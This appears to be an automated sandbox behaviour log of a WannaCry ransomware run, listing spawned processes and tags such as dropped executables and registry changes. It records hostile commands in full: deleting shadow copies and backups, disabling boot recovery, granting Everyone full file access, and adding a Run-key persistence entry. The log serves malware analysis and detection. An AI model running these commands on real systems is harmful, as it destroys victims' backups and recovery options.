"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --mojo-platform-channel-handle=4644 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:1
2⤵
PID:380

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3224 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:8
2⤵
PID:916

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=876 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:2
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:2524

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1712 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:8
2⤵
PID:4040

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1648 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:8
2⤵
PID:3816

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1660 --field-trial-handle=1680,i,16457366701615123034,3146730119630856701,131072 /prefetch:8
2⤵
PID:1776

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
1⤵
PID:3956

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3356

C:\Users\Admin\Desktop\WannaCry-master\WannaCry.EXE
"C:\Users\Admin\Desktop\WannaCry-master\WannaCry.EXE"
1⤵
- Drops startup file
- Sets desktop wallpaper using registry
PID:1412

C:\Windows\SysWOW64\attrib.exe
attrib +h .
2⤵
- Views/modifies file attributes
PID:1984

C:\Windows\SysWOW64\icacls.exe
icacls . /grant Everyone:F /T /C /Q
2⤵
- Modifies file permissions
PID:3956

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:4708

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c 73901715261891.bat
2⤵
PID:1708

C:\Windows\SysWOW64\cscript.exe
cscript.exe //nologo m.vbs
3⤵
PID:4852

C:\Windows\SysWOW64\attrib.exe
attrib +h +s F:\$RECYCLE
2⤵
- Views/modifies file attributes
PID:1440

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected] co
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1460

C:\Users\Admin\Desktop\WannaCry-master\TaskData\Tor\taskhsvc.exe
TaskData\Tor\taskhsvc.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:428

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /b @[email protected] vs
2⤵
PID:4184

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected] vs
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:960

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
4⤵
PID:2848

C:\Windows\SysWOW64\Wbem\WMIC.exe
wmic shadowcopy delete
5⤵
PID:4064

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:4492

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:1252

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5064

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ppcvxtmedh378" /t REG_SZ /d "\"C:\Users\Admin\Desktop\WannaCry-master\tasksche.exe\"" /f
2⤵
PID:2832

C:\Windows\SysWOW64\reg.exe
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "ppcvxtmedh378" /t REG_SZ /d "\"C:\Users\Admin\Desktop\WannaCry-master\tasksche.exe\"" /f
3⤵
- Adds Run key to start application
- Modifies registry key
PID:3956

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:4660

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:2152

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3320

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:3444

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:1656

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3996

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:2468

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3368

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:1524

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:2412

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:844

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:2576

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:4860

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3052

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:4772

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:4072

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1972

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:1708

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:4636

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2332

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:2388

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:4064

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2876

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:2468

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:2216

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2148

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:2952

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:2260

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3772

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:3860

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:1960

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3560

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:3480

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:1236

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4032

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:4424

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:3132

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1880

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:1736

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:4460

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4432

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:2040

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:1708

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:2684

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:2396

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:3496

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4600

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:1760

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:3200

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4388

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:4664

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:2872

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4488

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
- Executes dropped EXE
PID:2964

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
- Executes dropped EXE
PID:1268

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Suspicious use of SetWindowsHookEx
PID:1456

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:180

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:3964

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Suspicious use of SetWindowsHookEx
PID:840

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:2932

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:1260

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Suspicious use of SetWindowsHookEx
PID:376

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:5044

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:1280

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Suspicious use of SetWindowsHookEx
PID:4688

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:3036

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:4612

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Suspicious use of SetWindowsHookEx
PID:5012

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:740

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:3352

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Suspicious use of SetWindowsHookEx
PID:2276

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:2684

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:4788

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
- Suspicious use of SetWindowsHookEx
PID:2508

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:4172

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:916

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:1296

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:3544

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:3100

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:2452

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:1960

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:4116

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:1828

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:4856

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:1548

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:4212

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:5108

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:864

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:3108

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:4512

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:4556

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:3860

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:1588

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:3956

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:4576

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:1076

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:4492

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:4448

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:4340

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:4588

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:2576

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:3364

C:\Windows\SysWOW64\attrib.exe
attrib +h +s F:\$RECYCLE
2⤵
- Views/modifies file attributes
PID:1488

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:2504

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:1712

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:2212

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:2876

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:216

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:3572

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:116

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:3104

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:4660

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:4288

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:4632

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:3836

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:2140

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:4052

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:3992

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:3528

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:4680

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:3840

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:872

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:3320

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:884

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:3628

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:2040

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:4576

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:1288

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:3180

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:4924

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:1044

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:4492

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:436

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:4104

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:3884

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:3568

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:4940

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:2392

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:64

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:1504

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:1816

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:368

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:2828

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:4992

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:1064

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:2504

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:464

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:4784

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:4508

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:3304

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:4152

C:\Users\Admin\Desktop\WannaCry-master\taskse.exe
taskse.exe C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
2⤵
PID:936

C:\Users\Admin\Desktop\WannaCry-master\@[email protected]
@[email protected]
2⤵
PID:5108

C:\Users\Admin\Desktop\WannaCry-master\taskdl.exe
taskdl.exe
2⤵
PID:4708

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4784

C:\Users\Public\Desktop\@[email protected]
"C:\Users\Public\Desktop\@[email protected]"
1⤵
- Executes dropped EXE
- Sets desktop wallpaper using registry
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1080

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.google.com/search?q=how+to+buy+bitcoin
2⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4012

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffefd5646f8,0x7ffefd564708,0x7ffefd564718
3⤵
PID:4312

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2128,15625234264141560111,8696898811401548724,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2172 /prefetch:2
3⤵
PID:2576

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2128,15625234264141560111,8696898811401548724,131072 --lang=fr --service-sandbox-type=none --mojo-platform-channel-handle=2284 /prefetch:3
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3956

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2128,15625234264141560111,8696898811401548724,131072 --lang=fr --service-sandbox-type=utility --mojo-platform-channel-handle=2924 /prefetch:8
3⤵
PID:1764

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,15625234264141560111,8696898811401548724,131072 --lang=fr --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3648 /prefetch:1
3⤵
PID:2392

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
